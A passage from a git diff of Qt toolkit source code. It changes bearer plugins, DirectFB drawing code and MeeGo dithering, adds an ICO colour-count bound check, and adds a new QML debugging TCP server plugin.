dbus_connection_set_exit_on_disconnect(d_ptr->connection, FALSE);
- dbus_connection_setup_with_g_main(d_ptr->connection, NULL);
+ dbus_connection_setup_with_g_main(d_ptr->connection, g_main_context_get_thread_default());
dbus_connection_register_object_path(d_ptr->connection,
d_ptr->signalPath.toLatin1(),
&d_ptr->signal_vtable,
diff --git a/src/plugins/bearer/icd/qnetworksession_impl.cpp b/src/plugins/bearer/icd/qnetworksession_impl.cpp
index 6d578d3..af5d85e 100644
--- a/src/plugins/bearer/icd/qnetworksession_impl.cpp
+++ b/src/plugins/bearer/icd/qnetworksession_impl.cpp
@@ -125,9 +125,6 @@ static QString get_network_interface();
void QNetworkSessionPrivateImpl::iapStateChanged(const QString& iapid, uint icd_connection_state)
{
- if ((publicConfig.type() == QNetworkConfiguration::UserChoice) && opened) {
- updateIdentifier(iapid);
- }
if (((publicConfig.type() == QNetworkConfiguration::UserChoice) &&
(activeConfig.identifier() == iapid)) ||
@@ -149,6 +146,9 @@ void QNetworkSessionPrivateImpl::iapStateChanged(const QString& iapid, uint icd_
break;
}
}
+ if (publicConfig.type() == QNetworkConfiguration::UserChoice) {
+ updateIdentifier(iapid);
+ }
}
void QNetworkSessionPrivateImpl::cleanupSession(void)
diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp
index 30d6b50..6b37b38 100644
--- a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp
+++ b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp
@@ -213,6 +213,11 @@ void QNetworkManagerEngine::connectToId(const QString &id)
dbusDevicePath = devicePath.path();
break;
}
+ else if (device.deviceType() == DEVICE_TYPE_GSM &&
+ connectionType == QLatin1String("gsm")) {
+ dbusDevicePath = devicePath.path();
+ break;
+ }
}
const QString service = connection->connectionInterface()->service();
diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.cpp b/src/plugins/bearer/symbian/qnetworksession_impl.cpp
index 433eef6..741f8c5 100644
--- a/src/plugins/bearer/symbian/qnetworksession_impl.cpp
+++ b/src/plugins/bearer/symbian/qnetworksession_impl.cpp
@@ -1552,8 +1552,8 @@ void ConnectionProgressNotifier::StartNotifications()
{
if (!IsActive()) {
SetActive();
+ iConnection.ProgressNotification(iProgress, iStatus);
}
- iConnection.ProgressNotification(iProgress, iStatus);
}
void ConnectionProgressNotifier::StopNotifications()
@@ -1569,10 +1569,10 @@ void ConnectionProgressNotifier::DoCancel()
void ConnectionProgressNotifier::RunL()
{
if (iStatus == KErrNone) {
- QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError));
-
SetActive();
iConnection.ProgressNotification(iProgress, iStatus);
+ // warning, this object may be deleted in the callback - do nothing after handleSymbianConnectionStatusChange
+ QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError));
}
}
diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp
index 6639983..eaff74a 100644
--- a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp
+++ b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp
@@ -245,10 +245,9 @@ bool QDirectFBPixmapData::fromDataBufferDescription(const DFBDataBufferDescripti
QDirectFBPointer<IDirectFBDataBuffer> dataBuffer(dataBufferPtr);
IDirectFBImageProvider *providerPtr;
- if ((result = dataBuffer->CreateImageProvider(dataBuffer.data(), &providerPtr)) != DFB_OK) {
- DirectFBError("QDirectFBPixmapData::fromDataBufferDescription(): Can't create image provider", result);
+ if ((result = dataBuffer->CreateImageProvider(dataBuffer.data(), &providerPtr)) != DFB_OK)
return false;
- }
+
QDirectFBPointer<IDirectFBImageProvider> provider(providerPtr);
DFBImageDescription imageDescription;
@@ -300,40 +299,26 @@ void QDirectFBPixmapData::fromImage(const QImage &img, Qt::ImageConversionFlags
{
alpha = QDirectFBPixmapData::hasAlphaChannel(img, flags);
imageFormat = alpha ? screen->alphaPixmapFormat() : screen->pixelFormat();
+
QImage image;
if ((flags & ~Qt::NoOpaqueDetection) != Qt::AutoColor) {
image = img.convertToFormat(imageFormat, flags);
flags = Qt::AutoColor;
} else if (img.format() == QImage::Format_RGB32 || img.depth() == 1) {
image = img.convertToFormat(imageFormat, flags);
+ } else if (img.format() != imageFormat) {
+ image = img.convertToFormat(imageFormat, flags);
} else {
image = img;
}
- IDirectFBSurface *imageSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::DontTrackSurface);
- if (!imageSurface) {
- qWarning("QDirectFBPixmapData::fromImage()");
- invalidate();
- return;
- }
-
- dfbSurface = screen->createDFBSurface(image.size(), imageFormat, QDirectFBScreen::TrackSurface);
+ dfbSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::NoPreallocated | QDirectFBScreen::TrackSurface);
if (!dfbSurface) {
qWarning("QDirectFBPixmapData::fromImage()");
invalidate();
return;
}
- if (image.hasAlphaChannel()) {
- dfbSurface->Clear(dfbSurface, 0, 0, 0, 0);
- dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_BLEND_ALPHACHANNEL);
- } else {
- dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_NOFX);
- }
-
- dfbSurface->Blit(dfbSurface, imageSurface, 0, 0, 0);
- imageSurface->Release(imageSurface);
-
w = image.width();
h = image.height();
is_null = (w <= 0 || h <= 0);
diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp
index 09cc465..ff15078 100644
--- a/src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp
+++ b/src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp
@@ -1285,7 +1285,7 @@ bool QDirectFBScreen::connect(const QString &displaySpec)
result = d_ptr->primarySurface->GetSize(d_ptr->primarySurface, &w, &h);
#elif (Q_DIRECTFB_VERSION >= 0x010000)
IDirectFBSurface *layerSurface;
- if (d_ptr->dfbLayer->GetSurface(d_ptr->dfbLayer, &layerSurface) != DFB_OK) {
+ if (d_ptr->dfbLayer->GetSurface(d_ptr->dfbLayer, &layerSurface) == DFB_OK) {
result = layerSurface->GetSize(layerSurface, &w, &h);
layerSurface->Release(layerSurface);
}
diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp
index d0056a7..3d8cf50 100644
--- a/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp
+++ b/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp
@@ -55,7 +55,6 @@ QT_BEGIN_NAMESPACE
QDirectFBWindowSurface::QDirectFBWindowSurface(DFBSurfaceFlipFlags flip, QDirectFBScreen *scr)
: QDirectFBPaintDevice(scr)
- , sibling(0)
#ifndef QT_NO_DIRECTFB_WM
, dfbWindow(0)
#endif
@@ -75,7 +74,6 @@ QDirectFBWindowSurface::QDirectFBWindowSurface(DFBSurfaceFlipFlags flip, QDirect
QDirectFBWindowSurface::QDirectFBWindowSurface(DFBSurfaceFlipFlags flip, QDirectFBScreen *scr, QWidget *widget)
: QWSWindowSurface(widget), QDirectFBPaintDevice(scr)
- , sibling(0)
#ifndef QT_NO_DIRECTFB_WM
, dfbWindow(0)
#endif
@@ -123,7 +121,7 @@ void QDirectFBWindowSurface::raise()
IDirectFBWindow *QDirectFBWindowSurface::directFBWindow() const
{
- return (dfbWindow ? dfbWindow : (sibling ? sibling->dfbWindow : 0));
+ return dfbWindow;
}
void QDirectFBWindowSurface::createWindow(const QRect &rect)
@@ -287,17 +285,40 @@ void QDirectFBWindowSurface::setGeometry(const QRect &rect)
QByteArray QDirectFBWindowSurface::permanentState() const
{
- QByteArray state(sizeof(this), 0);
- *reinterpret_cast<const QDirectFBWindowSurface**>(state.data()) = this;
+ QByteArray state(sizeof(SurfaceFlags) + sizeof(DFBWindowID), 0);
+ char *ptr = state.data();
+ SurfaceFlags flags = surfaceFlags();
+ memcpy(ptr, &flags, sizeof(SurfaceFlags));
+ ptr += sizeof(SurfaceFlags);
+ DFBWindowID did = (DFBWindowID)(-1);
+ if (dfbWindow)
+ dfbWindow->GetID(dfbWindow, &did);
+ memcpy(ptr, &did, sizeof(DFBWindowID));
return state;
}
void QDirectFBWindowSurface::setPermanentState(const QByteArray &state)
{
- if (state.size() == sizeof(this)) {
- sibling = *reinterpret_cast<QDirectFBWindowSurface *const*>(state.constData());
- Q_ASSERT(sibling);
- setSurfaceFlags(sibling->surfaceFlags());
+ const char *ptr = state.constData();
+ IDirectFBDisplayLayer *layer = screen->dfbDisplayLayer();
+ SurfaceFlags flags;
+ memcpy(&flags, ptr, sizeof(SurfaceFlags));
+
+ setSurfaceFlags(flags);
+ ptr += sizeof(SurfaceFlags);
+ DFBWindowID id;
+ memcpy(&id, ptr, sizeof(DFBWindowID));
+ if (dfbSurface)
+ dfbSurface->Release(dfbSurface);
+ if (id != (DFBWindowID)-1) {
+ IDirectFBWindow *dw;
+ layer->GetWindow(layer, id, &dw);
+ if (dw->GetSurface(dw, &dfbSurface) != DFB_OK)
+ dfbSurface = 0;
+ dw->Release(dw);
+ }
+ else {
+ dfbSurface = 0;
}
}
@@ -406,8 +427,6 @@ void QDirectFBWindowSurface::endPaint(const QRegion &)
IDirectFBSurface *QDirectFBWindowSurface::directFBSurface() const
{
- if (!dfbSurface && sibling && sibling->dfbSurface)
- return sibling->dfbSurface;
return dfbSurface;
}
@@ -415,11 +434,8 @@ IDirectFBSurface *QDirectFBWindowSurface::directFBSurface() const
IDirectFBSurface *QDirectFBWindowSurface::surfaceForWidget(const QWidget *widget, QRect *rect) const
{
Q_ASSERT(widget);
- if (!dfbSurface) {
- if (sibling && (!sibling->sibling || sibling->dfbSurface))
- return sibling->surfaceForWidget(widget, rect);
+ if (!dfbSurface)
return 0;
- }
QWidget *win = window();
Q_ASSERT(win);
if (rect) {
diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h b/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h
index f683fc8..75d462b 100644
--- a/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h
+++ b/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h
@@ -100,7 +100,6 @@ private:
void updateIsOpaque();
void setOpaque(bool opaque);
void releaseSurface();
- QDirectFBWindowSurface *sibling;
#ifdef QT_DIRECTFB_WM
void createWindow(const QRect &rect);
diff --git a/src/plugins/graphicssystems/meego/dithering.cpp b/src/plugins/graphicssystems/meego/dithering.cpp
index 91e3337..2561c22 100644
--- a/src/plugins/graphicssystems/meego/dithering.cpp
+++ b/src/plugins/graphicssystems/meego/dithering.cpp
@@ -39,15 +39,22 @@
**
****************************************************************************/
-// This is an implementation of the 32bit => 16bit Floyd-Steinberg dithering.
+// Implements two dithering methods:
+//
+// * convertRGBA32_to_RGB565
+//
+// This is implemented using Ordered Bayer Dithering. The code has been adapted
+// from QX11PixmapData::fromImage. This method was originally implemented using
+// Floyd-Steinberg dithering but was later changed to Ordered Dithering because
+// of the better quality of the results.
+//
+// * convertRGBA32_to_RGBA4444
+//
+// This is implemented using Floyd-Steinberg dithering.
+//
// The alghorithm used here is not the fastest possible but it's prolly fast enough:
// uses look-up tables, integer-only arthmetics and works in one pass on two lines
// at a time. It's a high-quality dithering using 1/8 diffusion precission.
-// Two functions here to look at:
-//
-// * convertRGBA32_to_RGB565
-// * convertRGBA32_to_RGBA4444
-//
// Each channel (RGBA) is diffused independently and alpha is dithered too.
#include <string.h>
@@ -76,113 +83,63 @@
// Converts incoming RGB32 (QImage::Format_RGB32) to RGB565. Returns the newly allocated data.
unsigned short* convertRGB32_to_RGB565(const unsigned char *in, int width, int height, int stride)
{
+ static bool thresholdMapInitialized = false;
+ static int thresholdMap[16][16];
+
+ if (!thresholdMapInitialized) {
+ int i;
+ int j;
+ int n;
+
+ thresholdMap[0][0] = 0;
+ thresholdMap[1][0] = 2;
+ thresholdMap[0][1] = 3;
+ thresholdMap[1][1] = 1;
+
+ for (n=2; n<16; n*=2) {
+ for (i=0; i<n; i++) {
+ for (j=0; j<n; j++) {
+ thresholdMap[i][j] *= 4;
+ thresholdMap[i+n][j] = thresholdMap[i][j] + 2;
+ thresholdMap[i][j+n] = thresholdMap[i][j] + 3;
+ thresholdMap[i+n][j+n] = thresholdMap[i][j] + 1;
+ }
+ }
+ }
+
+ thresholdMapInitialized = true;
+ }
+
// Output line stride. Aligned to 4 bytes.
int alignedWidth = width;
if (alignedWidth % 2 > 0)
alignedWidth++;
// Will store output
- unsigned short *out = (unsigned short *) malloc(alignedWidth * height * 2);
-
- // Lookup tables for the 8bit => 6bit and 8bit => 5bit conversion
- unsigned char lookup_8bit_to_5bit[256];
- short lookup_8bit_to_5bit_diff[256];
- unsigned char lookup_8bit_to_6bit[256];
- short lookup_8bit_to_6bit_diff[256];
-
- // Macros for the conversion using the lookup table.
- #define CONVERT_8BIT_TO_5BIT(v) (lookup_8bit_to_5bit[v])
- #define DIFF_8BIT_TO_5BIT(v) (lookup_8bit_to_5bit_diff[v])
-
- #define CONVERT_8BIT_TO_6BIT(v) (lookup_8bit_to_6bit[v])
- #define DIFF_8BIT_TO_6BIT(v) (lookup_8bit_to_6bit_diff[v])
-
- int i;
- int x, y, c; // Pixel we're processing. c is component number (0, 1, 2 for r, b, b)
- short component[3]; // Stores the new components (r, g, b) for pixel produced during conversion
- short diff; // The difference between the converted value and the original one. To be accumulated.
- QVarLengthArray <short> accumulatorData(3 * width * 2); // Data for three acumulators for r, g, b. Each accumulator is two lines.
- short *accumulator[3]; // Helper for accessing the accumulator on a per-channel basis more easily.
- accumulator[0] = accumulatorData.data();
- accumulator[1] = accumulatorData.data() + width;
- accumulator[2] = accumulatorData.data() + (width * 2);
-
- // Produce the conversion lookup tables.
- for (i = 0; i < 256; i++) {
- lookup_8bit_to_5bit[i] = round(i / 8.0);
-
- // Before bitshifts: (i * 8) - (... * 8 * 8)
- lookup_8bit_to_5bit_diff[i] = (i << 3) - (lookup_8bit_to_5bit[i] << 6);
- if (lookup_8bit_to_5bit[i] > 31)
- lookup_8bit_to_5bit[i] -= 1;
-
- lookup_8bit_to_6bit[i] = round(i / 4.0);
-
- // Before bitshifts: (i * 8) - (... * 4 * 8)
- lookup_8bit_to_6bit_diff[i] = (i << 3) - (lookup_8bit_to_6bit[i] << 5);
- if (lookup_8bit_to_6bit[i] > 63)
- lookup_8bit_to_6bit[i] -= 1;
- }
+ unsigned short *out = (unsigned short *)malloc (alignedWidth * height * 2);
- // Clear the accumulators
- memset(accumulator[0], 0, width * 4);
- memset(accumulator[1], 0, width * 4);
- memset(accumulator[2], 0, width * 4);
+ int x;
+ int y;
+ int threshold;
// For each line...
for (y = 0; y < height; y++) {
- // For each accumulator, move the second line (index 1) to replace the first line (index 0).
- // Clear the second line (index 1)
- memcpy(accumulator[0], accumulator[0] + width, width * 2);
- memset(accumulator[0] + width, 0, width * 2);
-
- memcpy(accumulator[1], accumulator[1] + width, width * 2);
- memset(accumulator[1] + width, 0, width * 2);
-
- memcpy(accumulator[2], accumulator[2] + width, width * 2);
- memset(accumulator[2] + width, 0, width * 2);
-
// For each column....
for (x = 0; x < width; x++) {
- // For each component (r, g, b)...
- for (c = 0; c < 3; c++) {
+ int r = GET_RGBA_COMPONENT(in, x, y, stride, 0);
+ int g = GET_RGBA_COMPONENT(in, x, y, stride, 1);
+ int b = GET_RGBA_COMPONENT(in, x, y, stride, 2);
- // Get the 8bit value from the original image
- component[c] = GET_RGBA_COMPONENT(in, x, y, stride, c);
-
- // Add the diffusion for this pixel we stored in the accumulator.
- // >> 7 because the values in accumulator are stored * 128
- if (x != 0 && x != (width - 1)) {
- if (accumulator[c][x] >> 7 != 0)
- component[c] += rand() % accumulator[c][x] >> 7;
- }
-
- // Make sure we're not over the boundaries.
- CLAMP_256(component[c]);
-
- // For green component we use 6 bits. Otherwise 5 bits.
- // Store the difference from converting 8bit => 6 bit and the orig pixel.
- // Convert 8bit => 6(5) bit.
- if (c == 1) {
- diff = DIFF_8BIT_TO_6BIT(component[c]);
- component[c] = CONVERT_8BIT_TO_6BIT(component[c]);
- } else {
- diff = DIFF_8BIT_TO_5BIT(component[c]);
- component[c] = CONVERT_8BIT_TO_5BIT(component[c]);
- }
+ threshold = thresholdMap[x%16][y%16];
- // Distribute the difference according to the matrix in the
- // accumulation bufffer.
- ACCUMULATE(accumulator[c], x + 1, 0, width, diff * 3);
- ACCUMULATE(accumulator[c], x - 1, 1, width, diff * 5);
- ACCUMULATE(accumulator[c], x, 1, width, diff * 5);
- ACCUMULATE(accumulator[c], x + 1, 1, width, diff * 3);
- }
+ if (r <= (255-(1<<3)) && ((r<<5) & 255) > threshold) r += (1<<3);
+ if (g <= (255-(1<<2)) && ((g<<6) & 255) > threshold) g += (1<<2);
+ if (b <= (255-(1<<3)) && ((b<<5) & 255) > threshold) b += (1<<3);
// Write the newly produced pixel
- PUT_565(out, x, y, alignedWidth, component[2], component[1], component[0]);
+ PUT_565(out, x, y, alignedWidth, ((b >> 3) & 0x1f), ((g >> 2) & 0x3f), ((r >> 3) & 0x1f));
}
}
diff --git a/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp b/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp
index 20b092e..a70d232 100644
--- a/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp
+++ b/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp
@@ -42,6 +42,7 @@
#include <QDebug>
#include <private/qpixmap_raster_p.h>
#include <private/qwindowsurface_gl_p.h>
+#include <private/qwindowsurface_raster_p.h>
#include <private/qegl_p.h>
#include <private/qglextensions_p.h>
#include <private/qgl_p.h>
@@ -75,7 +76,12 @@ QMeeGoGraphicsSystem::~QMeeGoGraphicsSystem()
QWindowSurface* QMeeGoGraphicsSystem::createWindowSurface(QWidget *widget) const
{
- QGLShareContextScope ctx(qt_gl_share_widget()->context());
+ QGLWidget *shareWidget = qt_gl_share_widget();
+
+ if (!shareWidget)
+ return new QRasterWindowSurface(widget);
+
+ QGLShareContextScope ctx(shareWidget->context());
QMeeGoGraphicsSystem::surfaceWasCreated = true;
QWindowSurface *surface = new QGLWindowSurface(widget);
diff --git a/src/plugins/imageformats/ico/qicohandler.cpp b/src/plugins/imageformats/ico/qicohandler.cpp
index 5aa26d3..701207d 100644
--- a/src/plugins/imageformats/ico/qicohandler.cpp
+++ b/src/plugins/imageformats/ico/qicohandler.cpp
@@ -559,6 +559,8 @@ QImage ICOReader::iconAt(int index)
icoAttrib.ncolors = 0;
else // # colors used
icoAttrib.ncolors = header.biClrUsed ? header.biClrUsed : 1 << icoAttrib.nbits;
+ if (icoAttrib.ncolors > 256) //color table can't be more than 256
+ return img;
icoAttrib.w = iconEntry.bWidth;
if (icoAttrib.w == 0)
icoAttrib.w = header.biWidth;
diff --git a/src/plugins/phonon/mmf/mmf.pro b/src/plugins/phonon/mmf/mmf.pro
index 5b21211..7c7c1d7 100644
--- a/src/plugins/phonon/mmf/mmf.pro
+++ b/src/plugins/phonon/mmf/mmf.pro
@@ -132,7 +132,7 @@ symbian {
}
# This is to allow IAP to be specified
- LIBS += -lCommDb
+ LIBS += -lcommdb
# This is needed for having the .qtplugin file properly created on Symbian.
QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/phonon_backend
diff --git a/src/plugins/plugins.pro b/src/plugins/plugins.pro
index 5b0b6f3..3e7da0e 100644
--- a/src/plugins/plugins.pro
+++ b/src/plugins/plugins.pro
@@ -15,4 +15,4 @@ symbian:SUBDIRS += s60
contains(QT_CONFIG, phonon): SUBDIRS *= phonon
contains(QT_CONFIG, multimedia): SUBDIRS *= audio
qpa:SUBDIRS += platforms
-
+contains(QT_CONFIG, declarative): SUBDIRS *= qmltooling
diff --git a/src/plugins/qmltooling/qmltooling.pro b/src/plugins/qmltooling/qmltooling.pro
new file mode 100644
index 0000000..01cf1a9
--- /dev/null
+++ b/src/plugins/qmltooling/qmltooling.pro
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+
+SUBDIRS = tcpserver
+
diff --git a/src/plugins/qmltooling/tcpserver/qtcpserverconnection.cpp b/src/plugins/qmltooling/tcpserver/qtcpserverconnection.cpp
new file mode 100644
index 0000000..69c1ef5
--- /dev/null
+++ b/src/plugins/qmltooling/tcpserver/qtcpserverconnection.cpp
@@ -0,0 +1,173 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qtcpserverconnection.h"
+
+#include <QtNetwork/qtcpserver.h>
+#include <QtNetwork/qtcpsocket.h>
+
+#include <private/qdeclarativedebugserver_p.h>
+#include <private/qpacketprotocol_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QTcpServerConnectionPrivate {
+public:
+ QTcpServerConnectionPrivate();
+
+ int port;
+ QTcpSocket *socket;
+ QPacketProtocol *protocol;
+ QTcpServer *tcpServer;
+
+ QDeclarativeDebugServer *debugServer;
+};
+
+QTcpServerConnectionPrivate::QTcpServerConnectionPrivate() :
+ port(0),
+ socket(0),
+ protocol(0),
+ tcpServer(0),
+ debugServer(0)
+{
+}
+
+QTcpServerConnection::QTcpServerConnection() :
+ d_ptr(new QTcpServerConnectionPrivate)
+{
+
+}
+
+QTcpServerConnection::~QTcpServerConnection()
+{
+ delete d_ptr;
+}
+
+void QTcpServerConnection::setServer(QDeclarativeDebugServer *server)
+{
+ Q_D(QTcpServerConnection);
+ d->debugServer = server;
+}
+
+bool QTcpServerConnection::isConnected() const
+{
+ Q_D(const QTcpServerConnection);
+ return d->socket && d->socket->state() == QTcpSocket::ConnectedState;
+}
+
+void QTcpServerConnection::send(const QByteArray &message)
+{
+ Q_D(QTcpServerConnection);
+
+ if (!isConnected())
+ return;
+
+ QPacket pack;
+ pack.writeRawData(message.data(), message.length());
+
+ d->protocol->send(pack);
+ d->socket->flush();
+}
+
+void QTcpServerConnection::disconnect()
+{
+ Q_D(QTcpServerConnection);
+
+ delete d->protocol;
+ d->protocol = 0;
+ delete d->socket;
+ d->socket = 0;
+}
+
+void QTcpServerConnection::setPort(int port, bool block)
+{
+ Q_D(QTcpServerConnection);
+ d->port = port;
+
+ listen();
+ if (block)
+ d->tcpServer->waitForNewConnection(-1);
+}
+
+void QTcpServerConnection::listen()
+{
+ Q_D(QTcpServerConnection);
+
+ d->tcpServer = new QTcpServer(this);
+ QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection()));
+ if (d->tcpServer->listen(QHostAddress::Any, d->port))
+ qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port);
+ else
+ qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port);
+}
+
+
+void QTcpServerConnection::readyRead()
+{
+ Q_D(QTcpServerConnection);
+ QPacket packet = d->protocol->read();
+
+ QByteArray content = packet.data();
+ d->debugServer->receiveMessage(content);
+}
+
+void QTcpServerConnection::newConnection()
+{
+ Q_D(QTcpServerConnection);
+
+ if (d->socket) {
+ qWarning("QDeclarativeDebugServer: Another client is already connected");
+ QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection();
+ delete faultyConnection;
+ return;
+ }
+
+ d->socket = d->tcpServer->nextPendingConnection();
+ d->socket->setParent(this);
+ d->protocol = new QPacketProtocol(d->socket, this);
+ QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
+}
+
+
+Q_EXPORT_PLUGIN2(tcpserver, QTcpServerConnection)
+
+QT_END_NAMESPACE
+
diff --git a/tools/qdoc3/polyarchiveextractor.h b/src/plugins/qmltooling/tcpserver/qtcpserverconnection.h
index 29cc51b..a6e17e6 100644
--- a/tools/qdoc3/polyarchiveextractor.h
+++ b/src/plugins/qmltooling/tcpserver/qtcpserverconnection.h
@@ -1,10 +1,10 @@
/****************************************************************************
**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,32 +39,46 @@
**
****************************************************************************/
-/*
- polyarchiveextractor.h
-*/
+#ifndef QTCPSERVERCONNECTION_H
+#define QTCPSERVERCONNECTION_H
-#ifndef POLYARCHIVEEXTRACTOR_H
-#define POLYARCHIVEEXTRACTOR_H
-
-#include "archiveextractor.h"
+#include <QtGui/QStylePlugin>
+#include <QtDeclarative/private/qdeclarativedebugserverconnection_p.h>
QT_BEGIN_NAMESPACE
-class PolyArchiveExtractor : public ArchiveExtractor
+class QDeclarativeDebugServer;
+class QTcpServerConnectionPrivate;
+class QTcpServerConnection : public QObject, public QDeclarativeDebugServerConnection
{
- public:
- PolyArchiveExtractor(const QStringList& extensions,
- const QString& commandFormat);
- ~PolyArchiveExtractor();
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QTcpServerConnection)
+ Q_DISABLE_COPY(QTcpServerConnection)
+ Q_INTERFACES(QDeclarativeDebugServerConnection)
+
+
+public:
+ QTcpServerConnection();
+ ~QTcpServerConnection();
+
+ void setServer(QDeclarativeDebugServer *server);
+ void setPort(int port, bool bock);
+
+ bool isConnected() const;
+ void send(const QByteArray &message);
+ void disconnect();
+
+ void listen();
+ void waitForConnection();
- virtual void extractArchive(const Location& location,
- const QString& filePath,
- const QString& outputDir);
+private Q_SLOTS:
+ void readyRead();
+ void newConnection();
- private:
- QString cmd;
+private:
+ QTcpServerConnectionPrivate *d_ptr;
};
QT_END_NAMESPACE
-#endif
+#endif // QTCPSERVERCONNECTION_H
diff --git a/src/plugins/qmltooling/tcpserver/tcpserver.pro b/src/plugins/qmltooling/tcpserver/tcpserver.pro
new file mode 100644
index 0000000..f4f2666
--- /dev/null
+++ b/src/plugins/qmltooling/tcpserver/tcpserver.pro
@@ -0,0 +1,18 @@
+TARGET = tcpserver
+QT += declarative network
+
+include(../../qpluginbase.pri)
+
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/qmltooling
+QTDIR_build:REQUIRES += "contains(QT_CONFIG, declarative)"
+
+SOURCES += \
+ qtcpserverconnection.cpp
+
+HEADERS += \
+ qtcpserverconnection.h
+
+target.path += $$[QT_INSTALL_PLUGINS]/qmltooling
+INSTALLS += target
+
+symbian:TARGET.UID3=0x20031E90 \ No newline at end of file
diff --git a/src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri b/src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri
index ebeccc9..b7a87f3 100644
--- a/src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri
+++ b/src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri
@@ -34,6 +34,12 @@
silent:symbian_sqlite3_dso.commands = @echo unzipping $@ && $$symbian_sqlite3_dso.commands
QMAKE_EXTRA_COMPILERS += symbian_sqlite3_dso
+ # Workaround for the fact that make doesn't understand that sqlite3.dso
+ # is the same as $OBJECTS_DIR/sqlite3.dso
+ symbian_sqlite3_dso_standalone.target = sqlite3.dso
+ symbian_sqlite3_dso_standalone.depends = $$symbian_sqlite3_dso.output
+ QMAKE_EXTRA_TARGETS += symbian_sqlite3_dso_standalone
+
symbian_sqlite3_ver_dso.input = symbian_sqlite3_zip_file
symbian_sqlite3_ver_dso.output = sqlite3{00060003}.dso
!isEmpty(OBJECTS_DIR):symbian_sqlite3_ver_dso.output = $$OBJECTS_DIR/$$symbian_sqlite3_ver_dso.output
diff --git a/src/qbase.pri b/src/qbase.pri
index 4d835bd..ce69757 100644
--- a/src/qbase.pri
+++ b/src/qbase.pri
@@ -197,7 +197,7 @@ symbian {
# Partial upgrade SIS file
vendorinfo = \
"; Localised Vendor name" \
- "%{\"Nokia, Qt\"}" \
+ "%{\"Nokia\"}" \
" " \
"; Unique Vendor name" \
":\"Nokia, Qt\"" \
diff --git a/src/qt3support/network/q3dns.cpp b/src/qt3support/network/q3dns.cpp
index c95edc1..d489652 100644
--- a/src/qt3support/network/q3dns.cpp
+++ b/src/qt3support/network/q3dns.cpp
@@ -2009,15 +2009,20 @@ Q3ValueList<QHostAddress> Q3Dns::addresses() const
\class Q3Dns::MailServer
\brief The Q3Dns::MailServer class is described in Q3Dns::mailServers().
- \internal
+*/
+
+
+/*! \fn Q3Dns::MailServer::MailServer(const QString& n, Q_UINT16 p)
